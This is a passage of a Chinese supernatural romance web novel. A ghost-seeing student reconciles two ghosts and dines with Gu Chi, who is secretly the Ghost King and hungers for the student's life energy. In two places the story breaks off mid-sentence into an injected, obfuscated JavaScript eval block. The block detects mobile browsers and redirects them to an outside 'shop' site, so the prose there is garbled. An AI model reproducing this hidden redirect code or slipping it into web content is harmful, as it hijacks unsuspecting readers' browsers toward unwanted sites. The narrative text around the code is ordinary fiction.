出于对方可能有什么特殊原因和他一样起夜的猜想,以及为了不会看起来十分不礼貌地半夜打扰对方的想法,溪白直到第二天早上10点左右,才给顾弛发了第一条消息。 却不知屏幕另一端的人睁着眼一直到了天亮。 从诸多表情包里翻出来一只毛绒绒的微笑大狗,一边动耳朵一边咧开嘴笑得眼睛都弯起来,看上去非常的友好。 溪白决定就用这个作为开场白。 [White:【微笑大狗】早] 紧绷了近六个小时的唇角,在这一刻有了一瞬间的松动。 顾弛看着屏幕上的表情包,心里想的是:溪白喜欢小动物? [顾:早] [White:今天方便吗,想请你吃个饭] 鬼以阴气为食,并不需要像人类一般通过食物维持生命体征,鬼中之王更是如此。 [顾:下午我有两节课,晚上?] [White:好呀] 临近上课,阶梯教室里走进来的人渐多,徐骁提着篮球路过。 “弛哥,这么开心,笑什么呢?” 顾弛回复好溪白的消息,又定了个提醒才放下手机,听见徐骁的话,他下意识用手指按了按自己的两腮。 自己在笑吗? “中午一起吃饭不。”徐骁随口问了句,“和队里的兄弟们。” 顾弛是转校生,刚来新班级肯定有些陌生。 同为院球队的成员,虽然顾弛看着非常高冷,常常独来独往,但徐骁很欣赏顾弛的球技,于是主动发出了邀请。 “下次吧。”顾弛将溪白发来的【大狗打滚】添加进自己的表情包列表里,回了一个【大狗微笑】,收起手机,“中午不吃了,我要留着肚子。” 徐骁哦了一声,收回目光,再看看顾弛,又收回目光。 “我又在笑吗?”顾弛察觉到他视线里的其他意思。 徐骁点头。 顾弛又按了按自己的两腮,自己怎么变爱笑了? 人类的身体,还真是有些奇怪。 ※ 下午三点半的时候,溪白背着包出了门,按他平常走路的速度,顾弛下课的时候他差不多就能到校门口了。 下楼的时候看了一眼天,天气不是非常好,乌云盖顶,明明才这个时间点,天却都擦黑一半了。 [White:你带伞了吗,我看要下雨了] 毕竟是要邀请对方合租,溪白自然得让顾弛提前感受一下室友之间春风般的温暖。 [White:我的伞也够大,没带的话我去教学楼接你吧] 天穹之上的墨色好似又浓重了些,溪白一路赶往教学楼。 他在楼下等了一会儿,没等到消息回复,便走了进去。 又一次点开微信想问问顾弛的课室在哪,才后知后觉地发现,自己方才那两条消息根本没有发出去。 教学楼笼罩在一片乌云之下,溪白意识到:今天的校园里似乎格外安静。 还不仅如此,溪白看了一眼手机上的时间。 明明已经是下课时间了。 可前后两侧的楼道里,他没有看到一个人影。 风卷着天上的云,压弯了地下的树。 没有了太阳,光线格外昏暗,一阵突如其来的幽怨哭声,让溪白背后升起一片冰凉。 但很快,溪白发现这阵仗似乎并非冲他而来的。 民间早有说法,说小孩子的眼睛干净,容易看到常人所看不到的东西。 而溪白的体质特殊,所以也经常能碰到鬼怪魂灵一类。 估计刚刚不小心冲撞了什么,导致现在又出不去了。 循着隐隐传来的声响,溪白走近了一间教室,从虚掩的后门之中冲出来的一声刺耳尖啸,让溪白停了下来。 “混蛋,你个负心汉!我杀了你!” 教室里,一个脖子被拧断,仅凭着一片皮肉堪堪垂挂在腰后的女鬼,正追着一个男鬼疯狂地殴打,溪白看到那女鬼脚底下的黑雾都混杂着猩红色,加上她空洞的眼珠里闪烁的血红,明显是怨怒盛极,即将化煞成为厉鬼了。 而那男鬼全程只是躲避,摇头摆手,像是在否认着什么,当他张着嘴的时候,溪白注意到,那男鬼的嘴里是没有舌头的。 耳朵再次动了动,溪白在听清楚了那细微弱小的心声里的内容后,顾不得对那狰狞女鬼的恐惧,伸手敲响了门。 溪白得赶紧帮这两位解决一下问题。 顾弛还等着他吃饭呢。 “那个……” 溪白硬着头皮,看向那陡然拧身看向自己,挂着的脑袋还一晃一晃的女鬼。 “我替他解释一下,他真的不是负心汉。” 经过溪白的“读心”,他终于得知了这两个鬼吵架的原因。 这两个鬼都是百年前北城大学的学生,他们当年是同窗好友,时常来往,可女鬼在一次意外中被人所害。 “他意外知道了害你的人是谁,可对方背后的家族涉足官商,声势浩大。” “在一次调查收集证据的过程中,他被对方的人发现,因为他手里藏有证据,那人不敢轻易要他的命,但却割了他的舌头,让他再也说不出话来,以此警告他:想要保命,就少说话。” 男鬼死后,在这栋教学楼里游荡了许多年,却不想他碰到了这被害后怨气极深,同样留了下来的女鬼。 阳世断了的前缘,居然在死后重新续上,只能说缘之一字,实在是难以预测。 而今天吵架,是因为女鬼通过自己的路子要到了一个往生来世的资格,她本想让男鬼抓紧投胎,却不料后者拒绝了。 “我真不明白,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108157|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟在犟什么,怎么就不愿意转世,你知道多少鬼求都求不来吗!” 男鬼只是摇头,那意思很明显:他不想转世。 女鬼气得直用指甲抓他,男鬼满屋子躲。 溪白突然道:“他不转世,是因为他想多陪陪你。” 女鬼一愣。 男鬼似乎是有些紧张,想要阻止溪白说下去。 但女鬼却先一步追问道:“什么意思?” “他喜欢你。”溪白言简意赅地说。 这一下,女鬼身上的猩红怨气,就彻底哑火了。 “他,他……” 两人当年同窗伴读,彼此之间是以兄妹相称,这姑娘本就是风风火火的性子,从来都只把那男生当成自己的哥哥看待。 这么多年她从未把两人的关系往其他方面想,哪怕刚才溪白说男鬼想“多陪陪她”,她也仅仅是觉得自己的兄长有些过分优柔寡断了。 但此时一经戳破,女鬼那略有些腐烂扭曲的脸上,居然显露出几分小女儿家才有的羞涩模样来。 男鬼看向溪白,他虽不知道为什么这个年轻的男子可以读到自己的心中所想,但他有种直觉:溪白能帮他们两个! 女鬼一直无法转世,便是因为为人所害的怨气太深,就像是人的心态钻进了牛角尖,一心一意只想游荡于世,找到那个加害她的恶人狠狠报复。 但此时她神思明显清明了许多,看向溪白,她问了一下现在的年岁时间。 溪白作答。 “已经这么久了……那,害我的人是不是已经死了?” 溪白点头。 这姑娘问的时间距今已经百年了,那个年代战乱,人口平均寿命可没有现在这么高。 “死了,已经死了……” 女鬼喃喃,略有些出神,目光瞟到窗玻璃里自己的倒影,可怖的死状唤醒了被害时的记忆,她身上的怨气肉眼可见地再次暴涨。 教学楼的楼体都随着这暴涨的怒气震动了起来,伴随着女鬼尖锐的叫声。 “死了,都死了……那我算什么……我又找谁报仇……” 眼见着女鬼的心态又一次濒临扭曲,溪白赶紧顶着一脑门的汗开口。 “你放心,地府判官会还你公道的。” 楼宇的震颤,在这一刻停了下来。 “地府会还我公道?”鲜红一片的鬼目轻微颤抖,朝溪白看了过去,语调之中带着犹豫,“真的么……” “会的,前段时间有个鬼被前男友害死,无常来时说那害人的还没往生,立刻就着鬼差去提审了。” 溪白说着,拿出自己随身携带的宣纸和朱砂墨。 “我替你写诉状。” 北城大学的教学楼一直以来都有一个传说,说的是学生丢东西后只要到教学楼的天台上说出自己东西丢失的时间和地点,然后祈求“楼神”就有可能找回丢失的物品。 但溪白现在想来,应该就是这两个鬼在帮忙吧。 于是他在状纸上把这一件事也加了上去。 “准备好了吗,一会黑白无常就会来带你们走,他们看了状纸上的东西,就不会为难你们了。”溪白轻车熟路的样子,让两个鬼更加放心。 他们十分感激,想要上前拉着溪白的手道谢。 只是才上前两步,内心对鬼的恐惧早已达到阈值的溪白再也撑不下去,转身飞也似地跑了。 跑之前还在风中留下一句话。 “别暴露我啊!” 两鬼面面相觑。 状纸燃烧成灰末,散发出一股淡淡的纸墨混合着香料的味道,弥漫在教室之中。 两个鬼牵着手,期待又有些紧张地等待着阴差的到来。 只是随着黑雾席卷,他们看着雾气之中走出来的身影,觉得哪里有些不对。 还没等想明白,一股发自灵魂的恐怖威压铺天盖地而来,它俩直接就趴地上了。 难道,这就是阴差的压迫感吗? 正当两个鬼心中发怵时,两团更小一些的黑雾从角落边卷起,一黑一白两个对于人类而言更加熟悉的身影,缓缓走了出来。 可两鬼却并没有感知到什么额外的压力。 它俩对视一眼。 这俩才是黑白无常的话…… 那,那这另一位,又是谁? 正当此时,一道声音自角落的雾气之中传了过来。 “何人召……” 黑无常话说没说完便是一顿,在感受到那股熟悉的灵魂恐惧后,本身慢悠悠的语气,在这一瞬间变得紧绷急促。 反应比他更快些的白无常,直接拽着自己的同事,扑通一下跪伏在了地上。 再度开口时,连声线都变得颤抖。 “属下,参见鬼王大人!” 无常之中,黑无常比较吊儿郎当,白无常偏高冷寡言,但此时此刻,它俩的反应都是完全一致的:跪在地上低着头,大气也不敢出。 顾弛并没有理会伏地参拜的两个下属,以及旁边的两个鬼魂,他垂着眼睛,再度看了一圈四周。 鼻尖微动,轻轻吸了一口室内的空气,再度确认了自己的内心想法。 好香。 他闻到溪白的味道了。 4. 第 4 章 从黑白无常的反应之中得知面前身影真实身份的两个孤魂野鬼,在此刻更是瑟瑟发抖,抱作一团。 不是说好的只是黑白无常吗。 怎么会有鬼王啊! 黑白无常也跪在地上大气都不敢喘。 不是叫他们来接引生魂的吗。 怎么鬼王殿下在这里啊! “这里,只有你们?” 黑白无常连声称是,同时也意识到鬼王的出现并非冲着他们而来,心下松了口气。 在旁的两鬼听了个大概,也意识到这位鬼王的态度不同寻常,从他观察四周的行为,还有刚刚那句询问来看,明显是在找谁。 肯定不是他们,看起来也不是黑白无常……莫非,是溪白? 二鬼对视一眼,想起溪白临走前那句话,都默契地闭口不言。 但却不想,鬼王先发问了。 “你们的回答呢?” 男鬼把头埋得更低:“回鬼王殿下,我们……不太清楚还有没有其他的人。” 女鬼把自己吊在腰后的脑袋拾了回来,脸朝地面放好,连连应声:“是啊,我们不太清楚。” “你们在撒谎。” 鬼王语气笃定,仿佛清楚知道一切真相。 “他刚走。” 短短几个字,让两鬼瞬间出了一身的冷汗。 幸好,鬼王似乎并没有想要深究责备的意思。 一阵诡异的安静之中,男鬼悄悄抬起眼,就见一缕黑雾从四周的墨色云团中漂浮而出,于空中转了一圈带着一张写有朱砂墨迹的宣纸飘扬而来。 是刚刚溪白给他们写的那封诉状。 男鬼余光瞧见,鬼王修长的手指轻轻捏住状纸的一角,而后竟将纸凑到鼻尖。 虽看不清面容,但一举一动,都带着股子沉溺的意味。 他不仅遐想,刚刚那看着十分清秀的青年究竟是什么样的身份。 为何感觉鬼王的行为,如此的……暧昧? 顾弛的确没有多余的注意力再去理会周围。 他甚至没看进去上面写了什么内容,只觉得字体清秀隽永,带着微微上扬的笔锋,看得出字迹的主人是活泼的性子,而在纸与墨的淡淡香气之中,敏锐的嗅觉感官捕捉到了一丝残留在宣纸角落的其它味道。 属于溪白的味道。 修长有力的拇指轻搓着纸张,隐幽的松木冷香与纸上残余的气味缠绵混合在一起。 那双一直盯着诉状不放的幽深黑瞳,掠过几丝暗光。 可以猜想,人写字的时候,应该是用手按着纸角,一笔一划写的。 那场景,想想就觉得很乖。 很可爱。 一旁传来几声窸窣,顾弛眼尾瞥去。 白无常警觉,瞪了一眼同伴,本还在窃窃私语的黑无常立刻深深低下了头。 “你们在说什么?” 他们声音很小,但依旧被顾弛捕捉到了几个关键字眼。 什么“又是”、“上次”之类。 两个无常对视一眼,白无常开口道:“殿下,我们之前曾数次收到此人的召唤,前来引渡生魂或一些野鬼。” “你们与他认识?” 白无常有条不紊地回答说:“因为此人常用这种半熟宣和朱砂墨,所以我们才能认出,但他行迹隐秘,不曾见过。” “……嗯。” 听着鬼王语气里不明显的落空感,白无常福至心灵。 “不过,前两日我们倒听见过那人说了一句话。” 果不其然,只听转身准备离去的鬼王停下来问:“他说什么?” 白无常对此事的细节印象不深,带着询问看向身旁的黑无常。 后者十分笃定地开口:“烤冷面酸甜微辣多刷酱。” 现场五鬼,不约而同地陷入了同一片沉默。 ※ 溪白从课室里出来,转出走廊尽头的拐角后,便觉得眼前白光一闪,四周一阵清明之感。 目光再度聚焦之时,他发现自己已经站在了下课时汹涌的人潮之中了。 “同学借一下路。” 溪白给身后的几个男生让开了道,转头才发现对方就是前两天球赛中体育学院的那个12号。 刚刚两人靠得挺近,不过溪白倒是没有闻到什么奇怪的味道。 溪白此刻转变了想法,在心里小小道了个歉,看来自己前两天是冤枉了别人。 那人显然也认出了他来,抬手嘿一声打了个招呼。 “你好同学。”徐骁热情地道。 溪白点了点头,看他似乎也是刚下课,便问道:“同学你好,我想问一下你看到顾弛了吗?” “顾弛?”徐骁回头看了一眼朋友们,“你们看到弛哥了吗?” 大多数人都摇了摇头,只有其中一个人说:“差不多下课的时候他好像就提前从后门溜了,走得还挺急。” “提前走了?”溪白着急,那顾弛岂不是早就出教学楼了,“他走多久了?” “没多久。” 一个声音从楼梯上传来,准确地钻进了溪白的耳朵里。 “我在这里。” 楼梯的侧面有一扇很大的窗户,太阳正斜着从那边照进来。 溪白抬起头的瞬间便被一片垂落的阴影给彻底包裹住了全身,他抬起头时,恍惚间觉得今天的松木香气好像比先前要多一点进攻性。 他问顾弛:“想好吃哪家店了吗?” 不料早已和他约好的顾弛似乎是愣了一下,然后像是才反应过来似的。 “原来你说的是去饭店是吗?” 溪白眨眨眼,不然呢? 顾弛和溪白的肩膀靠得很近,近得溪白都能依稀感觉到他的体温。 果然练体育的身体就是很好,连身体都好像比普通人要烫一些。 考虑到练体育的都比较在乎身材和营养的摄入,他道:“我们去吃牛肉自助吧。” 说起来……溪白赶紧拿出手机,给庄算发了个消息,告诉他今晚自己有约了。 还强调了一句,是找室友的事情。 [神算子:没事,刚好我今天其实也有事,那我们过两天再给你庆祝] [神算子:跟顾弛出去了?] [神算子:加油,拿下大帅哥【舌头狂舔】] 溪白指尖一热,迅速划走了私聊小窗。 “弛哥,你中午不和我们吃饭,原来是为了和溪白出去啊。” 徐骁的话里带着笑,表情里揶揄的意味十分明显。 结果顾弛很坦然地说了个“是”,让本来想调笑几句的体育生们反倒有些说不出什么来。 身旁的人侧首,一句带着温热呼吸的话语轻巧地落在耳畔。 “我们走吧。” 两人出教学楼的时候,溪白已经开好了导航。 他心中全是刚刚发消息的事情,考虑着自己是不是该买个防窥膜。 毕竟这个时代虽然开明,但还是有很多直男是恐同的,庄算说话太骚包,要是让人误会就不好了。 也不知道顾弛刚刚看到没有。 应该没有吧,溪白理智地分析着,虽然两人离得近,但顾弛如果看到了,可能多少还是会问他一句。 “你今天生日?” 像是有感应一般的一句话接踵而来。 溪白:…… 行,他看到了。 不过顾弛并没有问“拿下”是什么意思,让溪白稍稍松了口气。 两人顺着人群大流往前走,不少人跟他们一样也是放了学出校外觅食的。 校门口附近已经支起了不少流动小摊,不少学生排队买了小吃之类的,带回宿舍充当晚饭,溪白偶尔也会这样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108158|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪白一路都十分安静。 和他平常的样子有些不同。 “在想什么?”顾弛突然说了一句,将溪白从走神的状况里拉了回来。 努力掩饰着自己的紧张,溪白道:“哦,那个,我在想一会儿牛肉自助吃什么锅底……哈哈,他们说清水锅配沙茶酱很好吃,好像是广式的吃法,你听过吗?” “没有。” 顾弛看着溪白的笑容,唇角也跟着挑了一下。 “等下可以试试。” “好哇。”溪白想起似乎还有个冬阴功锅底他也很感兴趣,于是嘴巴快过脑子,“我们可以点两个不同口味的锅底,然后换着涮……” 说着说着,就开始底气不足。 “……如果,你不介意的话。” 溪白恨不得吸溜一下把刚刚说出来的话撤回。 救命,自己在说什么啊?这也太暧昧了! 虽说他和庄算出去吃小火锅的时候都是这样尝对方的锅底的,但现在情况明显不同。 要是刚刚顾弛看到了微信上的消息,现在再听见这个,怎么可能不多想。 “嗯,可以。” 溪白不敢置信地望去时,只见到顾弛淡定地点了点头。 淡定得溪白怀疑顾弛是不是只看到了生日那句,没看到底下庄算说的什么把人拿下,还有那个看着就很变·态的【舌头狂舔】表情包。 如果是这样。 那就太好了! “稍等我一下。” 刚出校门,顾弛突然留下一句话,便拐入了一旁小吃摊的人群之中。 留下溪白一个人在原地茫然了片刻,随即敛回心神,又一次思考起顾弛打断他之前脑海中思索的事情来。 实话说,他现在还是有些犹豫的。 虽然顾弛的确很帅,也很给人安全感,但找室友毕竟不是一个能随便做决定的事。 一个相处得来的室友,不比找个好男朋友容易多少,住在同一个空间里,生活习惯大概率有冲突。 这也是为什么溪白大一的时候申请的是单人住宿。 他有些轻微的洁癖,溪白自己都觉得自己可能不是很好相处的那种室友。 加上他体质又比较特殊,而且这几天好似格外容易出意外。 先是前些天拐出巷口时鬼打墙,又是今天下午教学楼撞鬼的事,溪白都没有任何的提前感知。 之前他帮助其他的鬼时都是主动为之,很少会出现这种自己都不知道什么时候就闯进另一片空间里的事情。 他自己倒还好说,庄算会帮他,从家里给他拿一些护身符之类的。 但顾弛一个普通人,如果跟自己住在一起,什么时候一些突发的灵异事件不可控地出现在宿舍里,伤害到对方就不好了。 各种各样的问题如雨后春笋般一个接一个冒头,一条一条在心中罗列了无数。 啧,不该冲动的。 溪白心中略有些后悔。 再退一步说,还有最后一个问题 他跟顾弛的接触也就是体育馆洗手间的那一次,其它便再没有了,也不知道对方平常的为人究竟如何,是好是坏。 本想先打听一下,但这几天接二连三的怪事让溪白又忘了。 要不把合租的邀请延迟一些,再观摩一阵? 正想着,一阵香气突然钻进了鼻腔,打断了溪白的思路。 抬起头时,一只印标熟悉的纸碗撞进视野,装在一只塑料袋里,被一只大手提着。 碳水的香气让他下意识地看去,就听顾弛的声音从头顶传来。 “我买了烤冷面。” “酸甜微辣多刷酱,你吃吗?” 唰! 刚刚心里列出来的最后一个问题瞬间被画上了一条代表消除的横线。 顾弛是好人!——溪白毫不犹豫地下了结论。 5. 第 5 章 帅哥也会吃烤冷面的哦? 溪白还真的挺好奇的,不过顾弛给他留下的印象更偏向于开朗的,大狗狗什么的,不是那种高冷范,吃烤冷面好像也挺正常。 这么一想,面前的场景倒也不违和。 到店后,溪白在手机上买了两人的自助团餐,核销券码后选好锅底,就能自助取餐了。 出于避免未来可能会尴尬地不知道要不要选择相互换锅涮的考虑,溪白点了两个清水锅,顾弛对此好似也没有什么特别的表示。 又或者说,整一顿晚饭,顾弛似乎都没有表现出溪白想象当中的那种……热切? 大型犬,哦不,20岁左右的成年男性,大部分都是显著的肉食动物。 但顾弛全程都吃得很斯文,对比起就在溪白他们身后不远处的另一桌明显也是来聚餐的大学生,对方四人那种狼吞虎咽,一盘一盘肉下到锅里涮,然后一筷子夹起来一口吞下的吃法,似乎更符合“练体育的男生”这样的刻板印象。 “是不和你的口味吗?” “什么?”顾弛的筷子一顿,“你说我吗?” 没等溪白回应,他就低头夹起碗里的四五片肉,像是怕溪白误会似的,一边吃还要一边含糊地解释:“没有,挺好吃的!” 溪白抿了抿唇。 也许是因为想要跟顾弛再多接触几次才好下决定,又或许是这一顿饭对方似乎并不如他所想象的那般吃的尽兴,溪白并没有提出希望顾弛跟他合租的事情。 却不料面前的男生比他想的要更加细腻,在溪白反应过来前,顾弛就再次开了口。 “抱歉。” “什么?”溪白怔了一下。 看到那双清澈明亮的眼睛里所带的明显歉疚之色后,意识到顾弛道歉是为何。 原本还算平静的心绪被打乱了些许,溪白摆了摆手,“没,不用道歉的,我只是担心你不爱吃,没有别的意思。” 显然这并不是一个非常有说服力的答复。 面前高大的男生瞳光似乎略微染上了几分黯淡,溪白一个着急,藏在心里的话脱口而出。 “其实……” 顾弛看他,眼睛又睁大了些。 “……其实,”到嘴边的话语,最终还是多了一个转圜,“你宿舍,现在是几人间啊?” 顾弛的答案简明扼要,而又迅速。 “一人间。” “噢……”溪白顿了顿,“怎么没住两人间。” 这下倒是顾弛没有第一时间给出答复了,他明显地迟疑了一会儿,才说:“我刚转学,室友一般都是约好了才申请合住。” 是了,顾弛是转校生,和同学应该都不太熟的。 “而且一个人住,比较方便。”顾弛又说了这么一句。 “啊,也是的。”溪白心里燃起的小小火苗,在这一句话之后便被他轻轻摁了回去。 或许顾弛和他一样,更习惯一个人独居。 今晚的话题,似乎就此之后便画上了一个休止符。 “那我先回去了。”溪白朝顾弛挥了挥手,“下次我们再一起去找好吃的!” 顾弛:“嗯,好。” 于是,各存心事的两个人在饭后便没有安排其他的活动,各自回了宿舍。 溪白刚给手机充上电,就听到庄算的敲门声。 “溪宝~ ~” 溪白整个人窝在书桌前,他的椅子是电竞椅,不小心买大了,本来身量又清瘦,盘腿坐着还空出不少空间来。 “你来了。”溪白有气无力地开口。 原本还在东张西望观察宿舍里有没有多一个身影的庄算,察觉到了溪白的反应不对。 十分钟后,本意是来吃瓜八卦的庄算从略显沮丧的溪白口中得知了今晚吃饭的情况,但反应却和溪白预料之中的完全相反。 “溪宝,听下来你机会很大啊!”庄算道。 溪白甚至直接觉得庄算在调笑他。 “没有,真的。”庄算拖过溪白放在一旁不用的那张椅子,抱着椅背反坐下来,“我这两天打听了一下跟顾弛有关的事情。” 虽然溪白没有说什么,但盯着庄算等待下一句的反应,已经出卖了他的好奇心。 “我问你,你对顾弛的印象是什么?” 对顾弛的印象? 正如溪白所说的,他和顾弛其实也就是“一面之缘”,现在想起来,他都不知道自己为什么会想着约人出去吃饭。 但当庄算问出这个问题的时候,那天在体育馆意外碰面的场景,仍旧像是光速倒带了进度条的影片一般,出现在了他的脑海之中。 穿着球服,五官优越,气质干净的高大男生,垂着清澈好看的眼睛,从镜子里偷偷看着自己。 被当场抓包之后,轮廓好看的耳朵染上了清晰的淡红,试图借着柔软而蓬松的发丝躲藏,却怎么也挡不住,活像一只羞涩的大型犬。 溪白不知不觉地就把心中的想法说了出来。 每说一个形容词,庄算就竖着手指头摇啊摇。 显然,溪白的“印象”和他打听来的“真相”之间有所差异。 “不,简直是大相径庭。”庄算一拍大腿,道。 原本盘坐的两条腿在此刻放了下来。 “细说。”溪白将两人的椅子拖近了点,让庄算别卖关子。 总结一下庄算的打听来的说法,其实就是:顾弛独来独往不是因为他是转校生,跟同学不熟的缘故。 他本身就是个独行侠的性格。 “我听人说,顾弛除了专业训练的时候,基本上都不出现的,也没有谁知道他在干什么,甚至去宿舍也找不到人。” 像是今天徐骁邀请他和同学吃饭,还是因为一起上课才抓得到人的缘故。 而且平时的顾弛并不怎么“亲和”——至少远不像溪白形容的那样,像一只好rua的大型犬。 “听说有其他学院的试着追求过,结果顾弛当场像是连看都没看到人似的,直接就无视了。” 庄算又说了几个其他的八卦,内容都差不离。 反正表达出来的就一个意思:顾弛对溪白,不一样。 到了溪白通常的睡觉时间,庄算就先回去了。 “反正你多考虑下,我觉得还是可以尝试和顾弛说合租的事情,虽然他在其他人那边的评价都是挺高冷不好接触的,但他的人品没什么问题。” 走之前庄算还替溪白关了灯,道了声晚安。 只是这一晚上,溪白翻来覆去许久,最终还是只能断断续续地浅睡一会儿。 今夜北城大学的宿舍区内格外安静,连风也不曾起一点,因为往日里趁着深夜游荡而出的大小鬼怪妖精们,此时此刻都藏了起来。 离宿舍区远一点的那些鬼魂,早已在察觉到不对的那一刻就逃之夭夭了。 某只平日里作恶多端,仗着身上带着淡红色煞气,经常欺负其他阴间生物的地缚灵,此时正瑟缩地藏在宿舍区墙角边上的一个狗洞里,努力地把自己的身体缩成一团。 一双深凹进眼眶底,黑洞洞的鬼目正盯着不远处那栋搂的其中一间房间里瞧,眼眶里依稀可见猩红的煞气血丝,正高频地闪烁颤动着。 但并看不清屋里的什么。 因为此刻,无数黑色雾气正从那房间里飞掠而出,带着令所有阴物都颤栗的威压,以及明显的暴躁气息。 有的鬼不知死活地想要凑上前,结果还没反应过来,就被那些失控的暴虐雾流穿透,落了个魂飞魄散的下场。 今晚睡不安稳的,并不止溪白。 床上的人半梦半醒,虽是闭着眼睛,但蹙起的眉头明显昭示着他的睡眠质量并不高。 顾弛很饿。 纵使今晚他吃的东西并不少,但在睡着之后,丢掉理智回归了最原始本性的大脑,将饥饿的信号传递到了五脏六腑的每一个角落里。 他不是人类,不需要吃五谷杂粮,肉蛋果蔬之类的食物来维持生命体征。 鬼要吃的东西,其实就两种。 一为阴气。 有带杂质的阴气,如被大鬼吃掉的小鬼往往带着“贪嗔痴怨怼”和生前所念所想,这便是其中的“杂质”; 还有精纯的阴气,此类阴气夺天地造化所生,不论是鬼神还是人类都无法创造出来。 二为人类的阳元,人有精气神,肩扛三盏灯,皆是体内阳元所化。 而溪白,二者兼而有之。 他八字天生带阴,阳元源自生命,说得通俗一点,吃溪白一口,顶得上吃其他东西的两口、三口。 而且八字奇阴之人的阳元与阴气,绝不是什么普通人和孤魂野鬼能比的 对任何阴物而言,这都是大补之物。 庄算一直都说,也不知道溪白这二十年来是怎么平安度过的,那些鬼好似都“不敢盯上他”似的,从小到大溪白别说被什么鬼怪缠身了,连小鬼压床都没有过。 而作为鬼王的顾弛,在对阴气和阳元的渴求这件事上,并不比普通的鬼魂多出什么自制力。 反而更加难以把持住。 这几天,他只要一靠近,就能闻到溪白身上的那股香味。 不是甜香,也不是什么食物的香气,而是一闻到大脑就会开始分泌信号因子,带来无穷无尽的渴望与快乐。 前两天溪白和他说“请他吃饭”的时候,顾弛并没有反应过来是吃人类的饭。 因为对于鬼王来说,“吃饭”等同于“进食”,也就是吃阴气,或者阳元。 而又有什么东西,比溪白本身更好吃呢? 于是饿了好几天,又期盼了一整个下午,结果晚上只吃了几盘牛肉的顾弛,在睡着之后再也控制不住躁动的本能。 带着鬼王气息的黑雾自床上弥漫开来,如同无数的黑色捕猎者一般涌向室外,在撕碎几个不知死活来试探挑衅的厉鬼之后,那些漫漫的雾云像是终于找到了方向,朝一个方向争先恐后地汹涌而去。 藏匿身形的众 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而此时。 溪白的卧室内,陷入了一片极致的寂静。 黑雾填满了天花板、墙面等各个角落,像是在屋内刷上了一层棉花云。 所有的动静都被阻隔在了云层之外,此刻溪白的宿舍仿若一个与世隔绝的幽闭山洞,而四周游动的云团雾流,便是看守珍宝的巨龙。 好香。 真的好香。 黑雾无声地叫嚣着,在屋内流窜不休,但当它们靠近溪白时,却明显放缓了动作。 溪白睡得不舒服,整个人歪歪扭扭地半趴在床上,一节手臂从被沿旁伸出,在黑雾的衬托下,显得比平时还要格外白皙。 也不知是梦到了什么,还是只是半梦半醒间的呓语,溪白轻轻“唔”了一声。 却惹得黑雾再一次躁动,围着他四处乱转。 而下一刻,溪白卷着被子翻了个身。 随着他的动作,远在几栋楼之外,还在梦里的顾弛,立刻闻到了一股浓烈的,令他疯狂的香气。 食欲在这一刻达到了顶峰,他再也控制不住渴望的本能。 黑雾试探着接触溪白,在触碰到的那一刻,饥饿已久的旅人终于尝到了盼望已久的盛宴。 无数的黑色雾气仿若锁链,圈住了溪白的手腕脚踝,还有那纤细的脖颈。雾气的末梢还并不满足,一路顺着盘旋而上,最终无数股黑雾拧成一团,雾团滚动之间,远远望去,竟像是一个高大的人影,手长腿长的,将溪白整个人紧紧拥抱在了宽阔的怀中。 而溪白……做了一个梦。 他梦到了很多乱七八糟的东西。 溪白梦到,他和顾弛变成了室友。 两人相处不错,过了一段非常平静且和谐的校园生活。 但某一天,当溪白提着烤冷面回到宿舍的时候,刚推开门,就被一只大狗扑到了地上。 大狗两只前爪扒着他的肩头,伸着温热的舌头,在他的脸上舔啊舔,热情到溪白招架不住,直到他手忙脚乱地把狗往外推了一点,喊了一声。 “顾弛!” 喊完后才发现,宿舍里空空荡荡,顾弛的影子都没看到。 殊不知就在这一刻。 那只狗开口说话了。 “我在这里。” 是顾弛的声音。 溪白目瞪口呆地看着那只还在朝自己抖耳朵笑的毛绒大狗。 而在他愣住的下一刻,四下空间扭曲,宿舍瞬间堕入了一片无尽的黑暗。 毛绒大狗毫无征兆地就变成了他梦里的那个鬼王。 还没等溪白反应过来,他便被鬼王按倒在了地上,手脚都被禁锢,动弹不得。 溪白呼吸几近凝滞,眼神发直,在四周的一片黑雾笼罩之中,他看到鬼王俯下·身。 一股冰凉的刺痛感,也随着附上的薄唇,狠狠扎进了他的手腕脉搏之中。 他感受到自己的血在流出体外。 鬼王,在喝他的血! “啊!!!” 溪白猛地从床上坐了起来,刺目的朝阳透过窗户斜映进来,一阵晃眼。 但也同样的,让才从惊醒的溪白清晰地意识到,那只是一个梦。 啊,是梦。 太好了,只是一个……梦? 连心声都在此时此刻顿住,溪白坐在床上,窗外的风声,树叶的沙沙作响,在这一瞬间,都变成了一阵直钻大脑的高频耳鸣声。 心脏像是拉响了警报,上下乱跳个不停。 真丝睡衣的袖口因为不安稳的睡眠而在臂弯卷成一团,溪白的手因此露了出来,正搭在腿边。 而借着屋外晨曦的映照,溪白清楚地看到,在他的手腕处,有一个十分清晰的,鲜红的印子。 那是一个牙印。 就落在刚刚梦里,鬼王咬他手腕的那个位置。 6. 第 6 章 今天的北城大学格外有话题。 各种意义上的。 阴物们躲着阳光,拉着熟悉的同伴,三两成群地讨论着昨天晚上那森严而又可怕的鬼气究竟是哪来的大佬,是鬼是妖,还是什么隐于人世的山野神明,居然仅仅只是一些阴气外泄,就能有那么大的威压。 